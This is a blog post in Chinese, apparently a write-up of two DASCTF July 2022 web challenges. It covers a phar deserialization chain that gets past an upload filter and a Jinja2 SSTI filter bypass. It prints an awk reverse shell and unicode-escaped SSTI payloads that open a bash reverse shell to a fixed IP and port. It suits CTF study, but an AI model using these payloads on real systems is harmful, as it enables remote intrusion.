DASCTF2022七月
DASCTF七月赋能赛
WEB
1.Ez to getflag
图片查看存在任意文件读取,可以读取到upload.php class.php index.php
文件上传点检测过滤$filter = '/<\?php|php|exec|passthru|popen|proc_open|shell_exec|system|phpinfo|assert|chroot|getcwd|scandir|delete|rmdir|rename|chgrp|chmod|chown|copy|mkdir|file|file_get_contents|fputs|fwrite|dir/i';
文件读取点过滤了'/http|https|file:|php:|gopher|dict|\.\./i'
看到class.php中存在危险函数include($door); 可以通过上传文件实现phar反序列化
Test:__destruct=>Upload:__tostring=>Show:__get=>show:__call=>backdoor()
poc:
1 |
|
创建完phar文件后,为了绕过文件内容的检测,可以使用gzip压缩一下
1 | import gzip |
1 | poc.png--->23f1a0f70f076b42b5b49f24ee28f696 |
Harddisk
ssti
过滤了
1 | {{ _ . [ print 空格 ` |
反弹shell用bash可能不成功
1 | awk 'BEGIN {s = "/inet/tcp/0/47.237.137.220/7777"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null |
1 | {%set poc="awk%20'BEGIN%20%7Bs%20%3D%20%5C%22%2Finet%2Ftcp%2F0%2F47.237.137.220%2F7777%5C%22%3B%20while(42)%20%7B%20do%7B%20printf%20%5C%22shell%3E%5C%22%20%7C%26%20s%3B%20s%20%7C%26%20getline%20c%3B%20if(c)%7B%20while%20((c%20%7C%26%20getline)%20%3E%200)%20print%20%5C%240%20%7C%26%20s%3B%20close(c)%3B%20%7D%20%7D%20while(c%20!%3D%20%5C%22exit%5C%22)%20close(s)%3B%20%7D%7D'%20%2Fdev%2Fnull"%}{%set c=lipsum|attr("__globals__")|attr("__getitem__")("__builtins__")|attr("eval")("__import__('os')")|attr("popen")(poc)|attr("read")()%}{%if c%}1{%endif%} |
payload:
1 | {%set%09c=lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("eval")("\u005f\u005f\u0069\u006d\u0070\u006f\u0072\u0074\u005f\u005f\u0028\u0027\u006f\u0073\u0027\u0029")|attr("\u0070\u006f\u0070\u0065\u006e")("\u0062\u0061\u0073\u0068\u0020\u002d\u0063\u0020\u0027\u0062\u0061\u0073\u0068\u0020\u002d\u0069\u0020\u003e\u0026\u0020\u002f\u0064\u0065\u0076\u002f\u0074\u0063\u0070\u002f\u0034\u0037\u002e\u0032\u0033\u0037\u002e\u0031\u0033\u0037\u002e\u0032\u0032\u0030\u002f\u0037\u0037\u0037\u0037\u0020\u0030\u003e\u0026\u0031\u0027")|attr("\u0072\u0065\u0061\u0064")()%}{%if%09c%}1{%endif%} |
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Dyinglight's blog!